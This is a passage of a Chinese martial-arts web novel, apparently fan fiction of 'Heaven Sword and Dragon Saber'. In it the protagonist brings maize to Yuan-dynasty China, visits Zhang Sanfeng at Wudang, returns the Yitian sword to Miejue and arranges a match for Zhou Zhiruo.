直到一个船员不知道从哪里捧回来一抱黄灿灿的东西,当陈子云看清楚是什么的时候,直接就掉下了泪来。 哭,他这并不是哭,不是所有的流泪都能叫做哭的,陈子云只是体会到了一种不曾有过的欢欣,无可比拟的愉悦。 因为身体无法表达这种情感,所以才拜托给了眼泪。 陈子云把身上现有的所有财物都给了那个叫做张大力的船员,同时允诺他,等回去了,除了出发之前说好的条件之外,再奖励他白银千两。 与来的时候的艰难险阻不同,回去的路程风平浪静。这就不得不让陈子云想起了《西游记》,去西天的时候一路上都是妖魔鬼怪艰难险阻,非要凑齐了九九八十一难才算过关。可一旦取得了真经,就直接成仙成圣,皆是御云而归了。 等陈子云处理好海沙派的首尾,带着方旭回到第一村的时候,周芷若看见陈子云如今的模样,直接就哭了出来。 也难怪,出发的时候还是小白脸的杨过,回来的时候却已经晒成了大黑脸的项少龙,稍微想想都知道这一趟出门其中的苦头,聪明的周芷若如何能想不到。 “好了好了,哭什么,不过是出去晒了半年的日光浴而已。” 陈子云笑着摸摸小丫头的头道。 “这次虽然没有找到最理想的东西,但总算也不是空跑一趟。用不了多久,芷若就能吃上一种你以前从来没有吃到过的好东西了。” “芷若不是贪嘴的小丫头,芷若只是看公子太辛苦了。” 小芷若眼泪汪汪的瞅着陈子云道。 陈子云笑了笑,把那从南洋找到的植物拿给了周芷若。 “这东西叫玉米,叫玉麦也成。这东西不但种植难度更低,对于土壤以及气候的要求都不算太严格,而且它的产量跟现在的作物比可以说是非常高的。 而且这东西不但人能吃,它的杆子也能作为牲畜的饲料,也可以作为燃料。 有了这个东西,冬天冻死的人起码能少一半。” “公子,这世间怎么会有这样的东西,如果这东西这么好,为什么以前就没人种呢?” 周芷若是渔家出身,对这些地里长的东西并不十分了解。 “不是不种,而是没有啊。” 陈子云简单的跟小周芷若解释了一下,这个世界除了她知道的这元朝之外还有无尽广阔的地域。 有些地方种的东西,别的地方不一定会有,就好比北方主要种小麦,而南方主要种稻谷。 周芷若似懂非懂的点点头。 第七十四章 再上武当 陈子云把带回来的玉米都交给了村子里的老农户,让他们把这些种子保存好,等来年开春就播种。 然后陈子云就马不停蹄的带着几包玉米种子,往武当山而去了,他可是没忘记自己跟那位大宗师打的赌。 这次再上武当,离他上次离开已经过了两年有余。相比于上次陈子云来时候的愁云惨淡,这时候的武当山显然已经缓过来不少。 也没有再碰到那脸怒气的弟子,陈子云刚递上拜帖,里面就有人迎接了出来。 来人却是一个面色和祥的中年胖道人。 “白少侠,一别两年,别来无恙。” “远桥兄,却是越发的有分量了,哈哈哈。” 来人正是武当七侠之首的宋远桥,陈子云两年前出手救张无忌,这武当上下都对他感恩戴德。 他与武当七侠也算是交情不差,只是因为张三丰与陈子云平辈论交,陈子云不好再跟七侠同座。不论辈分,只以名字相互称呼,年纪比他大的就加个兄字,年纪比他小的就直呼其名。 宋远桥也没怪陈子云打趣他,一脸和善的引着他往武当里面去,这江湖上能让他这个武当实际的掌门人亲自出门相迎的可没有几个。 如今这武当山上,除了宋远桥在,武当七侠就剩一个老幺莫声谷,当然瘫痪在床的俞岱岩自然也是在的。 剩下的三人都被派遣到各地去了,虽然武当不怎么主动参合武林中的事情,但是身在江湖,武当又怎么能独善其身。 就光张翠山殷素素留下的那些冤案,就足够他们武当的人费心查探了。 莫声谷与陈子云的年纪是最接近的,陈子云对这个长得魁梧奇伟,明明只二十多岁,却已长了满脸的浓髯莫老七很有好感。 上次在武当山上的时候,两人也没少找时间切磋。莫声谷此时的武当功夫正是刚练到登堂入室的时候,有了陈子云这样的外来高手喂招当然是乐意的很。 那段时间,也是他武学进步最快的,可以说是一天一个样,要不是后面张三丰怕自己这个小徒弟一下子进步太快,会走火入魔及时喊停,陈子云估计一时半会儿也不会下武当。 其实陈子云也知道,张三丰虽然对他的武学修为有足够的敬重,但是并不希望自己的弟子也走他的路。 在张三丰这位道家大宗师眼里,陈子云的武功虽然出类拔萃可惜戾气太重,与武当的路数不合。 “白愁飞,这次来武当你可别着急走,我跟六哥讨教了好几招的神门十三剑,定能与你的黄昏细雨红袖刀好好较量较量。” 莫声谷性情直率,见陈子云来本来就欢喜,自然把心里的话给直接说了出来。 陈子云只是笑笑也没有拒绝。 “七弟,白少侠是客人,又刚到武当,怎么能如此失礼。” 宋远桥本来年纪就比莫声谷大了很多,对于莫声谷而言,宋远桥像一个父亲超过一位大哥。宋远桥这一开口,他自然就收敛了许多。 “父亲,七叔,见过白大侠。拜帖我已经从太师傅的门缝里递进去了,想必他老人家在用饭的时候应该能看到。” 少年公子摸样的宋青书从里面出来说道。 宋远桥点点头,他对于自己儿子的要求更是严格,从小就要求他做到尽善尽美。 此时宋青书的年纪也正是崇拜父亲的时候,身为武当第三代的希望,他即骄傲自豪同时也压力不小。 有张三丰和宋远桥这样的人物在前面做样板,他这个几乎一出生就必然要传承武当的第三代首席弟子,生怕自己做的不够好被外人看见,落了武当的门风。 “青书,我不是跟你说了吗。你还小,别总是学你父亲一本正经的样子,小孩子要释放自己的天性。我跟你们武当三代都各论各的,叫我白大哥就好了。” 陈子云说道。 “这?” 宋青书不自觉的将目光瞥向一旁的父亲,见宋远桥点头了才喊道:“白大哥。” 脸上的神情也轻松了不少。 “孺子可教,哈哈,别太有压力,你太师傅还在,你这些叔叔也还在,武当的重担就有他们扛着。等他们真的七老八十扛不动了,那才是你要站出来顶梁的时候。” 陈子云说着,眼神却是在宋青书跟莫声谷之间晃荡。不知道有自己的参与,这小子将来还会不会失手杀叔。 不过陈子云并不会因为宋青书以后的错事而对现在的他就有偏见,对于这个努力模仿父亲一切的小屁孩,陈子云其实还是挺欣赏的。 应该没有人能比他做的更好了,除了因为周芷若而毁了自己之外,宋青书一直都是武当上所有三代弟子的标杆,不管武功还是品性。 当然开挂的张无忌不算在内,可话说回来,张无忌的功夫确实是不差,可在有些事情的处理上却有些不入陈子云的眼。 尤其是张无忌在明知道自己的父母几乎是被那些人逼死的,还因为所谓的江湖大义而放他们一马,实在是枉为人子。 别说什么那是殷素素自己做的孽,可如果没有当时的六大派上山逼迫,以张三丰的智慧,加上武当七侠之间的情意,最多也就是让张翠山夫妇照顾俞岱岩一辈子。 绝对不会发生什么血溅紫霄宫的戏码,要是换个稍微情感正常的年轻人,尤其是练了绝世的武功之后,不把六大派杀个干净,已经是宽大了。 陈子云也在莫声谷的陪同下去看了一下瘫痪在床的俞岱岩,他虽然知道黑玉断续膏能治疗他的伤势,可即没这个心思也没这个本事治疗,以他那点医术,可不敢随便就把人的骨头重新打断再接上。 还是等张无忌那小子学成归来,再给他这位三叔救治吧。 张三丰是在吃完晚饭才从他的闭关的地方出来的,看来这老道已经能做到一天只吃一顿的程度了,这也算是半辟谷了吧。 刚出现的张三丰一改平时大宗师的淡然气度,刚见到陈子云直接就一把抓住了他的手腕,快的差点让陈子云以为这位大宗师想跟他过招。 “白小友,帖子上说的可当真。” 张三丰这样的表现不但把陈子云惊住了,一旁的宋远桥更是楞的说不出话。自己多久没见自己师父如此失态,就是张翠山夫妇丧命的时候他还能强忍着送那些人下山。 第七十五章 张三丰的感谢 “张真人莫激动,东西我都带来了,只要让武当或者是山下的农人种下,几个月后不就知道了吗。” 陈子云也握着张三丰的手说道。 “快让我看看。” 张三丰还是那般的激动。 陈子云将玉米展示给张三丰看,没想到这个老道竟然直接把这已经干枯状态的玉米棒子塞到了嘴里。 “真人?” 陈子云目瞪口呆。 张三丰也不管陈子云跟自己大徒弟的惊讶,细细的品味着,他先是咬了几颗玉米粒,后面还吃下了些许的棒子。 “真人,那个不能吃。” 陈子云本来以为是张三丰第一次见玉米,不知道如何食用,连忙提醒道。 可张三丰听了陈子云的话,却并没有把那玉米棒子吐出来,反而是咀嚼一番给咽下去了。 “白小友,在一个人真的饥饿的时候,判断一个东西能不能吃的唯一标准,就是能不能用嘴巴咬碎然后吞下。” 张三丰的这话,不由得让陈子云想到了历史上人类关于大饥荒的描写:“赤地千里”、“人烟断绝”、“易子而食”、“析骸而炊”。 真到了那个时候,别说是这玉米棒子,就是树根树皮也不会放过的。 “白小友,无需自扰,别说你,即使远桥他们也没有经历过真正的饥荒,不知道一个人在饥饿面前会变成什么样。 老道是活的久了些,自然比你们见识的多一些罢了。小友上次说的能让一省之地无饥民的,就是这东西吗?亩产几何,一年几熟?” 张三丰神情急切的问道。 “亩产千斤,一年两熟。” “当真?” “千真万确,只要种植得当,可能产量还会高些。而且这玉米的植株还能用来当牲畜的饲料,也可以作为冬天取暖的燃料。” 张三丰听完,忽然整理了一番他那套永远邋遢着的道袍,随后对着陈子云行了一个大拜之礼。 这让陈子云下意识的就往后退了几步,一个侧身连忙让开。开玩笑,自己平时虽然跟这老道聊得来,表现的有些没大没小。 可那也是因为这位大宗师本身的阔达大度,让人自然的亲近。可这世上,除了那紫霄宫中立着的真武大帝,谁有资格真受张老道这一拜的。 “真人,真人,你这是要折小子寿数啊!” 陈子云还从没有感到如此的不安过,就是在面对大海中的风暴时他也不会这般的心虚。 “白小友,老道这一拜不是为自己,而是为这天下黎民,拜的也不是你一人,而是老道心中的块垒。” 随着张三丰的下拜,作为弟子的宋远桥自然也不能站着。他不像自己师父那般,有那么大的体会,但也知道眼前这姓白的青年,确实做了一件利在千秋的大事,也当得起自己一拜。 “远桥,你把白小友带来的种子赶紧安排好,我们亲自在山上开辟一块地方种上。一旦功成,离开发散给武当山下的百姓。” 张三丰是一派武学宗师,可也是个种田的好手,当年他开创武当的时候,可是亲自带着宋远桥他们种过地的。 “是。” 宋远桥应了一声就要走。 “等等。” 张三丰在玉米上面一抹,把上面的玉米粒脱下,然后把棒子递给了宋远桥说道:“拿去,供奉在大帝神像前。” “是。” 宋远桥拿着棒子走了,那小心翼翼的样子,就像是捧着一件珍宝。 张三丰抬起自己的手掌,那些个黄灿灿的玉米正躺在他的掌上,他一个个的拨弄的,在确定哪几个能作为优良的种子。 等他心满意足的将这些种子分好了几堆,才重新反应过来,陈子云还站在旁边等着。 “白小友,怠慢你了。” 张三丰有些不好意思的笑了笑。 “真人客气,刚才见真人那认真的模样,才知道真人有如今的武学修为是为何了。” 陈子云也是真的佩服张三丰随时都能进入这种忘我状态的本事,也只有这样的专心,才能让他成为千年一出的武学大宗师吧。 陈子云又在武当待了半个月,如果不是因为年节将近,说不定张三丰还不肯放他回来。 因为得到玉米的喜悦,破了张三丰长久以来的平和心境,他也就没有再次进入闭关状态。 时不时的就拉着陈子云谈武论道,也许是以为上次陈子云展露的几招太极剑,让张三丰提前有了创出太极拳剑的苗头。 这段时间也是一直在跟陈子云讨论这番以柔克刚的武学至理,甚至也有意的在传一些武当的功夫给他。 陈子云也看出了张三丰的心思,又不好明着拒绝,只是先记下来,却也不直接就修炼。 见识了张三丰那种专心致志的神态,越发的让陈子云明白,贪多并不一定就好。尤其是武功这种东西,一招强就能吃遍天下,何必分散自己的精力。 陈子云离开武当的时候,把借刀令留给了张三丰,希望如果哪一天有人拿着同样的令牌来武当,能得到武当的庇护,或者帮忙完成一件事情。 张三丰笑着收下,并且承诺以后不论什么事情,只要是借刀盟有难,武当所有弟子必将全力相助。 张三丰的意思很明白,当初的赌约只是玩笑,可陈子云竟然真的完成这样的壮举,那他也就敢把武当压上去,至于借刀令什么的,他并不在意。 等陈子云回到了第一村,这里已经满满的都是年节的氛围了,就连周芷若也换上了她本来不怎么喜欢的大红色棉袄穿上,看着就像是一个穿着喜服的小新娘。 陈子云看着第一村一派欣欣向荣的景象,也终于能真正的休息一阵子了,跨海远洋的劳累不是一般人能体会的。 不但是身体的疲惫,更主要的是长时间待在那漂泊不定的大海上的心理状态,那是一种积累的疲惫,不是一时半会儿能消除的。 陈子云在回到第一村之后,整个人就进入闲散状态了,最多看看书,有空就在村里逛一逛,就是非要指导弟子们修炼了,也是最多讲一个时辰的课。 这种模式让他想起了在福州读书时的状态,可能这才是陈子云真正想要的生活,一种稳中有序,不需要忙碌的生活。 第七十六章 还倚天 时间在这样的缓流中慢慢淌过,当村子里的农人把收获的第一批玉米抱到他的眼前时,陈子云才知道原来又过了半年。 那个老农的眼神是陈子云建立第一村之后,见过的最复杂的眼神,有几分不可置信的空洞,几分天降神迹的崇拜,几分不可明说的惊喜。 老农不知道怎么表述他此时的心情,只是流着泪,颤抖的把手里的玉米放举到了陈子云面前。 嘴里呢喃着:“千斤,饿不着了,小娟,小娟你不用饿着了。” 后来陈子云才知道,小娟是这位老农以前的女儿,为了省下食物给他,活活饿死在流离的路上了。 其实与这些总是吃不饱的百姓相比,陈子云并没有那么多的激动,也许是因为他的情绪在找到玉米的时候就已经用完了。 他只是笑着赞扬了几句老农人的成就,谢谢他种出了这么好的玉米。说实话陈子云并不懂,一个新物种需要怎么样的培育才能在新的地方生长,看想来应该是不容易的,起码要时刻的照顾着。 而这位满是沧桑的老农,却是在第一次种植的时候,就把产量种到了这种程度,陈子云也能猜到,他付出了多少的努力。 可当陈子云握着他的手感谢的说出:“老人家辛苦了。” 那老人甚至觉得有些荒诞的回答:“诶,这哪里能说什么辛苦,这是俺种过的最不用人伺候的庄稼了,要是还有人种不好,那简直不是人哩。” 陈子云当时只能尴尬的摸摸鼻子。 第一批钟出的玉米只是食用了少许,试验性的让大家尝了尝,大部分都是被留作了以后的种子。 那些被吃掉的,也是挑选之后觉得不适合作为种子的那一批。 但凡有点农业常识的人都很开心,这种开心比他们过年的时候还激烈。因为他们知道,不管以后如何,他们这里再也不可能出现饥荒了。 有了这玉米作为基础,第一村的一切发展都跟着提速了,手中有粮心中不慌,这样的丰收也同样激发了那些工匠们的热情。 没过去多久,倚天剑也终于被铁匠师傅给修复了。 要不是铁匠拿着完好如初的倚天剑来找陈子云,他都把这东西忘了,好在三年之期还未满,他要找个时间给灭绝送去。 本来送东西这种事情,他现在有的是人去做,可考虑到灭绝师太那种性格,要是她真的发起疯来把人留下了,自己不是更麻烦。 反正自己在第一村也宅了半年了,也该出去走走了,就当是年中旅行吧。 陈子云将修复好的倚天剑往剑匣里一丢,直接背着就往峨眉金顶而去。他们这里本来就在三省交界的地方,到峨眉山也不过几百里,快马加鞭不过两天的时间就到了峨眉山脚下。 “灭绝师太,白愁飞前来还剑。” 陈子云直接在峨眉金顶之下一声大吼,可不是所有的江湖门派都值得他递上拜帖的,峨眉还没这个资格。 “大胆狂徒,骗我倚天剑,竟然还敢上门,接我一剑。” 灭绝师太愤怒的大吼,随着一道剑光一起来到陈子云的面前。 对于这样的结果,陈子云早就有所预料了,对着剑光弹出一指,那道看似狠厉的剑光就不得不回撤了。 “峨眉弟子听令,布剑阵。” “是。” 随即鱼贯而出的众多弟子将陈子云团团的围住了,里外整整三圈。 看来灭绝师太是知道自己拿不下陈子云,打算以人数取胜。 “灭绝师太,你这是何必,我今天可是来还倚天剑的,你这么做不合适吧。” 陈子云拍了拍背后的剑匣说道。 “白愁飞,你这个卑鄙小人,不但暗算杀死了华山掌门,还敢来我峨眉欺骗于我,简直死不足惜,剑阵起,杀!” 随着灭绝师太的一声厉喝,三圈峨眉弟子同时出剑。陈子云觉得在这这一瞬间,有无数道剑光从自己的四面八方笼罩而来,把他所有可以闪避的地方都封死了。 陈子云发现此时不管他是选择进攻还是闪避,总有一把剑会恰好出现在他准备移动的地方。 这不由得让他想到了张三丰曾经在跟他交流武学的时候提到过的武当的真武七截阵。 这套阵法由张三丰见到真武神像座前的龟蛇二将,想起长江和汉水之会的蛇山、龟山所创。长蛇灵动,乌龟凝重,这套武功从山势演化出来,森然万有,包罗极广。 而峨眉派的这套阵法却显得更加的灵动多变,似乎内涵一些奇门五行之术,想来应该是那位号称小东邪的郭襄祖师留下来的镇派之宝。 陈子云连连出指,将即将临身的几把长剑逐一弹飞,可不管他如何出指,每当一把剑被弹飞之后,就必然有另一把剑补充进来。 这里外三层的弟子总能找到一个替补的,让围绕着陈子云的这个怪圈始终有不下于十把剑同时攻向他。 陈子云心里不由得赞叹一声,却是是好阵法。可惜阵法虽好,组成阵法的人却是差了一些。要不然只要刚才被他弹中的那几人能及时的回归,那说不定还真能把他留下。 现在吗,嘿嘿。 陈子云一拍身后的剑匣,一声冷艳的出鞘之声,倚天剑已然在手,随即一招剑出,所有攻向他的利剑都被两段。 “小贼,而敢?!” 灭绝师太见陈子云用倚天剑破了峨眉剑阵,气的面色通红,直接一剑朝着陈子云要害袭来。 陈子云手中的倚天剑斜斜一挥,灭绝手中的宝剑依旧断成两节。 “灭绝师太,看来你们峨眉派是不想收回这倚天剑了?!” 陈子云剑尖指地,笑着说道。 “你这无耻之徒,上次骗我倚天剑,你以为我灭绝还会信你吗!” 灭绝师太就是这么一个人,明知道自己不是陈子云的对手,可也绝不会对他低头。 “骗你,我哪里骗你了?” “哼,你自己心里明白。” 灭绝师太自视甚高,自然不会把当初用倚天剑换陈子云帮她杀大仇敌杨逍的事情说出来。 “哦,师太是说杨逍没死是吧,嘿嘿哈哈哈。” 陈子云说道一半自己先笑了起来,他当时之所以放过杨逍,是因为想到了更好的惩罚方式,绝不是心软放过了对方。 第七十七章 时间 “无礼之徒,你笑什么!” 灭绝师太有些恼怒的喝道。 “师太,我知道你是因为没有收到杨逍死去的消息,所以以为我背信弃义,白白占了倚天剑。可是你知不知道,我的确是去昆仑山找了杨逍,而且他也确实伤在了倚天剑下。” “哼!” “师太,你别着急生气。” 陈子云慢慢走向灭绝师太。 “你做什么?” 灭绝师太有些紧张的喝道。 “师太别急,有些话我只好与你单独说,而且如果我要对你不利,想来也不用这般偷偷摸摸的吧。” 陈子云耸耸肩道。 灭绝师太无奈的转过头去。 “我在离开的时候,在杨逍的肾经上点了一指。” “什么?” “嘘.....师太此事你知我知即可,要是被杨逍知道这件事情是从峨眉传出去的,我是无所谓啊,怕到时候峨眉派可挡不住他的恼羞成怒。” “哈哈哈哈,杨逍你这个魔教贼子,你也有今天,哈哈哈。” 灭绝师太笑的狂浪至极。 陈子云把倚天剑的剑匣往地上一伫,便对灭绝师太道:“有借有还,倚天剑完璧归赵,白某告辞。” 陈子云在说出完璧归赵这个词的时候,心里难免有些发虚,也不多留,直接转身就走。 “等等。” 灭绝师太喝道。 陈子云邹着眉头回头道:“师太还想如何?” “哼,我灭绝虽然技不如人,但从来不平白受人恩惠,如今你替我报了我多年之仇,灭绝欠你一个人情。” 灭绝师太这话倒是让陈子云没想到的。 “师太,我不是借了你的倚天剑吗?” “哼,抢就是抢,什么借。既然是你当年把剑从我手中抢去的,我灭绝总有一天会报这夺剑之仇。 但这与你伤杨逍无关,这倚天剑在我手中何止十年,要是凭一把倚天剑就能对付那魔头,他早就该死了。 所以,白小子你给我记住,你对我灭绝有恩,但是我峨眉也不忘你夺剑之仇。” 陈子云看着那个满头白发,却比绝大多数男子还霸道的老尼姑,一时间也不知该怎么说。 灭绝师太这个人,真的是个矛盾的综合体,对人对己都严格到了极端,可却不能说她做的那些事情都是无理取闹,只是有着超越一般人的固执。 你说他杀纪晓芙,可按照这个时代的伦理逻辑来讲,纪晓芙与杨逍不婚而交,说白了就是通奸,本来就是要浸猪笼的。 而且,灭绝师太与杨逍之间的仇恨本来就是生死大敌,一个自己教养大的徒弟,背叛师门跟自己的大仇人苟合,还生了孩子,是个人也受不了啊。 至于说灭绝师太对明教中人的心狠手辣,开玩笑!江湖纷争,本来就是你死我活的套路,难道明教的那些人杀人就手下留情过。 有人给青翼蝠王韦一笑辩护说,用武功杀人与用牙齿杀人都是杀人,没什么区别。 那这句话反过来讲,你明教已经敢这般违背人伦的吸血杀人了,灭绝师太拿着倚天剑多杀你几个又有什么不可以的。 而且,吸血杀人这种事情真的能被这么一句轻描淡写的话就解释的过去吗?吸血更接近的应该是吃人吧,这样的人应该可以定个反人类罪了吧,这样的存在难道不应该被钉在十字架上才是对的吗? 虽然陈子云懒得主动去找这个所谓的吸血蝙蝠的麻烦,可要是哪天让他碰到了,绝对对会把他绑在十字架上用太阳晒死。 陈子云走的时候,灭绝师太还送了一块峨眉的信物给他。意思很简单,当陈子云想让灭绝师太还杨逍这个人情的时候,可以拿着信物来找她。 陈子云可有可无的收下啦,虽然将来不一定会用到,但是说不定以后那些弟子们行走江湖的时候,可以用的上呢。 陈子云回到第一村之后,就准备窝着不动了,平时教教弟子看看书,偶尔到附近的名山大川里逛逛,日子过的好不惬意。 这些时间里,玉米一次又一次的收获,粮食充足了就会引来各地的流浪人口,不过陈子云并不想自己的庄园变的过大,从而引来元廷的注意。 就让一些老人带着一部分新人到别的地方去开展第二村、第三村。地点也基本是选在一些荒凉无人的地方,这些地方要么就是陈子云出面沟通直接将这些不值钱的土地买下来;要么索性就选无主的荒山,反正玉米这东西基本到哪里都能长。 如此发展了六七年,示范村已经开发到了十几个,基本上遍布了人烟稀少的西部,和元廷控制力较弱的南方地区。 当然随着这些示范村的增加,肯定也被一些有心人注意到了。陈子云处理的方式也很简单,要是江湖势力,就直接让那些已经在江湖上展露头角的弟子们解决,也当做是历练。 要是官方的势力,陈子云就先礼后兵,先是送钱,万一钱搞不定,那就送刀子。 武功到了他这个层次,要一个人死的不知不觉实在太容易了。 不过在现在这个元朝,已经腐化到了极点,很少会有官员不收钱的。而且这些官员也知道,这些新冒出来的村子,背后有一个叫做“借刀盟”的江湖势力支持,一般也不会做的太过分。 所以这几年来,这正让陈子云迫不得已出手的也不过是两次。一次是因为有个元廷的大官刚好看中那一片土地,想把上面所有的人赶走,开发成自己的牧场。 不管陈子云怎么打点也不松口,没办法他只能选择在这个家伙在自己的小妾身上耕耘的时候,一指结果了他。 为了让人查不出死因,陈子云还故意找动物试验了一番,好人他看起来就是得马上疯死的。 至于另一次则是倒霉催的遇到了兵祸,一伙儿被元兵追的没地方跑的逃兵不知怎么的就冲进了庄子里。 那些本来就是没饭吃的农民组成的逃兵,哪里见到过这么富饶的村庄,直接就化身为土匪,抢啊杀啊的。 要不是陈子云刚好巡查各个示范村经过那里,说不定这个发展了三年的村子就被这帮货色给祸祸干净了。 第七十八章 周芷若的布局 那次也是陈子云最愤怒的一次,他带着几个跟着他一起来的弟子,直接把这百多人的逃兵给杀了个干净。 当时陈子云那浑身滴着血的场景,把那些从来没见过自己老师发飙的弟子给吓的够呛。 而后面跟着这些逃兵追来的军官更是麻烦,不管陈子云怎么拉关系,甚至把逃兵的所有尸体都交给他们做战功还不愿意放手。 陈子云实在没办法,只能把从王难姑那里拿来的一种见血封喉的毒药给他们享用了。 整个元兵营,四百多人无一幸免,可事情发展到这个地步,这个村庄自然也就不能继续留着了,无奈只能带着他们转移。 也是经过那次事件之后,陈子云给弟子们多上了一课,让他们有兴趣的就自己去组织人手,形成自己的武装力量吧。 不过这份力量必须现在暗处隐藏着,直到积累的足够才可以暴露出来,否则招来元廷的注意,那就划不来了。 他们也可以自己去参加已经成型的起义军,但是只有一个原则,绝不允许这些人自相残杀,否则他就出来清理门户。 相比于有些弟子热衷于天下争霸,周芷若这个亲传弟子似乎还是比较喜欢接触江湖上的事物。 当年的黄毛丫头,此时也成了亭亭玉立的大姑娘,或者说更像是以为书香门第出来的大小姐。 没办法,陈子云本来就是长年书生打扮,而周芷若自然也学着自己师父摸样,又饱读诗书,身上的书卷气息一日比一日浓郁。 如果不是仔细看她眼睛深处藏起来的那份锋锐之气,一般人根本看不出这是一位江湖女侠。 周芷若不但练了九阴真经上的功夫,陈子云还给她开了小灶,在她来第一村的三年后,其他那些弟子们就没有能赢过她的。 不过周芷若虽然功夫练的不差,但她的兴趣好像更多是在别的地方。自从她在村子里打遍天下无敌手之后,她就开始收小弟。 不是仗着自己是陈子云的徒弟,而是靠自己的实力与人格魅力,将一些新选出来练武的半大孩子聚集在一起。 这些孩子对于这个功夫高的吓人的小姐姐自然也是言听计从的,何况周芷若还会时不时的指点他们练功。 而经过一段时间的发展之后,周芷若就开始派这些人出去了,目的就一个,让这些小弟们想办法混入江湖各大门派。 这件事情周芷若是来征询过陈子云的意见的,但是他当时只以为是自己这个徒弟的一时起意,也就随她去了。 直到几年之后,周芷若在整理这些撒出去的种子成果的时候,陈子云不经营见看到了,竟然有几个人已经被投入的门派作为种子选手培养了。 这不由得让陈子云大吃一惊,本以为只是周芷若随手而为的一招,没想到却结出了这样的果实。 当陈子云认真的问周芷若以后对这些人的安排时,她的回答却是让陈子云对这个弟子的有了新一番的认识。 “公子,其实芷若也并不是有多大的野心,更没有想过要以这样的手段控制江湖。当时放这些师弟师妹出去,也是希望他们能有个好的出路,要不然一直窝在村子里,也不是所有人都能忍受这种生活的。 当然,让他们加入各大门派,也有收集各大派消息的意思,这也是最初的目的,现在我们能掌握各地的动向也亏得他们帮忙。 不过芷若从来没有要求过他们透露一些目前门派中机密的信息,更不用说是各派的武动。 这一方面是为了保护他们的安全,另一方面芷若也看不上那些。” 周芷若说到这里,脸上微微浮现了一丝矜持的笑,手指轻轻拂过自己的鬓角。 “现在他们中的几个能做到如此的成就,芷若当然也为他们高兴。至于将来能不能一步登天成为一派之掌,芷若也只是送以祝福,绝不会以此为要挟。 而且芷若也知道,这些人虽然一直叫芷若师姐,可在他们的门派里,他们自己也当了师兄师姐。 芷若不敢肯定,当初那几年积累下来的师兄弟情意,就一定会比他们现在的情意要厚一些。 记得公子曾经教导过芷若,不要对一个人的报恩之心有所期待,那样只会同时伤害两个人的情感。 芷若一直铭记,他们就像是放出去的风筝,虽然线头一直在我手上,但是如果我用力过猛,他们说不定就被天空带走了。 所以保持联系,适当的维护感情,然后让他们自发的给我提供一些消息,这既是芷若现在最多的指望了。” 周芷若说完便看着陈子云,陈子云也看着她,陈子云此时在反应过来,原来当初的那个小女孩已经真的长大了。 “你准备准备,我带你上一趟武当山。” “好的,公子。” “你就不问问,我带你去武当山做什么?” “公子,芷若可不是那些天上的风筝。” “哈哈哈哈,芷若当然不是风筝,现在的芷若已经是个能把公子我一句话说的无言以对的巾帼了。” 陈子云自然知道周芷若的意思,她刚才还用风筝比喻她放出去的那些人,现在却是在强调自己跟那些人是不同的。 他们之间不需要那根细细的感情线去维护,他们之间的也不是恩情,而是自然而然相处出来的牢固不破的亲情,自然不需要小心翼翼的去维护,更不用去猜疑,自然就不用问那么多为什么。 陈子云让她去武当,她周芷若自然会无条件的答应,何需问;陈子云想说自然也会告诉她,又何必问。 本来周芷若在江湖上跑的时候,一直都是骑马的。可这次陈子云带着她上武当并不敢时间,而以一个女孩子风吹日晒的怎么能行,非要让周芷若坐着马车去。 还特意买了一块面纱,将她清丽秀雅的面容给遮住了一半,只剩下那双剪水之瞳和黛山之眉,不过这样一看反而有一种神秘的美。 清水出芙蓉,天然去雕饰。古人诚不欺我也。 第七十九章 相亲 不过陈子云对周芷若可没什么别的心思,他对于周芷若的情感,更类似于自己一手养大的女儿,怎么疼都疼不过来。 而他这次带着周芷若上武当山,就是要找一个能死心塌地爱她的郎君,宋青书当然是首选。 跟所有的老父亲一样,与其姑娘找个自己喜欢的但是可能不喜欢自己的男人,陈子云更希望周芷若找个爱自己的。 因为爱一个人太累,而被爱的总是幸福的。想张无忌那种见一个爱一个的渣男,要是敢来撩拨周芷若,陈子云腿都给他打断,张三丰也拦不住,他说的。 陈子云虽然有撮合之心,但这一切的前提当然是是要周芷若自己能看得上宋青书才行,不需要多爱,只要能接受这个人度过余生就够了。 当然如果武当派有其他的年轻人能入周芷若的法眼的,陈子云自然也不会嫌弃,更不会有什么门户之见。 陈子云他们的马车刚到武当山下,宋远桥就已经在那里等着了,这当然是因为陈子云提前通知了他。 张三丰的性格阔达,就算是陈子云当他跟他说,想跟他的徒孙结亲老道士也不会在意。可宋远桥不一样,他是一个对别人严格对自己更严格的人。 虽然江湖人不就讲新人结婚之前不能见面那一套,但作为结亲对象,要是人先到了家门口再通知他这个新翁。那估计他对周芷若的映像就会大受影响,会觉得这个女孩子多少有些不检点。 不过看到现在宋远桥的胖脸上的笑容,陈子云知道对方是相当高兴他们的到来的。 “芷若,出来见过武当七侠之首的宋大侠,宋大侠跟我交情不差,你称一声伯伯吧。” 周芷若缓缓从马车中走出,礼仪端庄的喊了一声:“芷若见过宋伯伯。” “好好好。” 宋远桥看到如此摸样,如此风华的周芷若,嘴上不停的说着好。 其实作为宋青书的父亲,他对于自己的儿子还是很自得的,唯一不满的一点就是现在儿子已经二十多岁了还不曾婚配。 可这也是因为宋青书的优秀,导致一般的姑娘根本不放在眼里,这一度让宋远桥发愁。 本来陈子云说要送她的弟子要来跟他相亲,宋远桥也只是抱着试一试的态度,或者借着陈子云对武当的恩情半压着宋青书早日完婚。 可一见到这从马车里出来的姑娘,宋远桥简直是喜出望外。作为武当的实际掌门人,武林中的女子他也是见多了,可哪有一个有周芷若这般风采的。 宋远桥是知道陈子云的武功修为的,能被他收为亲传弟子的女子功夫自然不会差。再加上如此的相貌神态,他甚至开始担心自己的儿子能不能配的上这位姑娘了。 这一正一负般急速翻转的两种情绪,让他这个早就遇事不惊的武当掌门人也有些手心冒汗了。 如果不是看周芷若还在场,宋远桥就想先拉着陈子云把两人的婚事给定下来。 陈子云两人在宋远桥亲自带领之下进了武当,张三丰已经在那里等着了,对于自己武当第三代的婚事,他这个百年童子也是重视的很。 还有一个在坐的是武当老六殷梨亭,这次倒是莫声谷不在了,还有一个作陪的自然就是相亲的另一个主角宋青书了。 不过他并不知道今天要做什么,只以为是为了迎接陈子云的到来。这也是陈子云故意嘱咐的,为的就是让他们两个年轻人能自然些的接触,没必要搞得太尴尬,成与不成皆是缘法。 可当陈子云带着周芷若一出现,其他两位倒是还好,只是称赞了周芷若一番天姿秀丽的漂亮话,而宋青书却是直接看呆了。 而发现自己儿子失礼之态的宋远桥脸色也变的铁青,要不是旁边的殷梨亭戳了一下宋青书,这家伙估计就要被宋远桥当场教育了。 “哈哈哈,青书也成大人了,比你父亲可英俊多了,武当第三代有希望啊。这位是我的弟子,周芷若,她第一次来武当,你带着她到处走走,我跟你父亲他们有事商量。” 